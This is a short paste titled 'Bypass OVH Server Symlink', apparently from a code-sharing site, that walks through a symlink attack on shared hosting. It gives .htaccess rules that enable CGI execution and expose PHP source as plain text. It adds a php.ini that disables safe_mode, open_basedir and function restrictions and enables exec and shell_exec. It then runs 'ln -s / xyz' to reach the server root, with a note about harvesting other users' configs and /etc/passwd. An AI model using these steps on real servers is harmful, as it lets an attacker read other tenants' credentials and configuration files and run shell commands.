smziaurrashid icon

Bypass OVH Server Symlink

smziaurrashid | PRO | 04/16/16 09:04:52 PM UTC | 0 ⭐ | 576 👁️ | Never ⏰ | []
PHP |

1.05 KB

|

None

|

0 👍

/

0 👎

//First you gonna create a dir call it what you want example “abc” then create a ‘.htaccess” file in the folder “abc”//
 
Options FollowSymLinks MultiViews Indexes ExecCGIAddType application/x-httpd-cgi .lnxAddHandler cgi-script .lnx
AddHandler cgi-script .lnx
 
//Secondly we gonna create a second folder we call it example “xyz” we also make an “.htaccess” file//
 
Options +FollowSymLinks
DirectoryIndex Index.html
Options +Indexes
 
AddType text/plain .php
AddHandler server-parsed .php
 
AddType root .root
AddHandler cgi-script .root
AddHandler cgi-script .root
 
//hen we create also in the folder “xyz” a file called “php.ini”//
 
safe_mode = Off
disable_functions =
safe_mode_gid = Off
open_basedir = Off
register_globals = on
exec = On
shell_exec = On
 
//we gonna retrieve the configs by typing the following command :
 
ln -s / xyz
 
Here we go we have succesfully retrieved the root path , so now to find the configs , we can upload a perl file in “xyz” and paste the users of the server “etc/passwd”//

Comments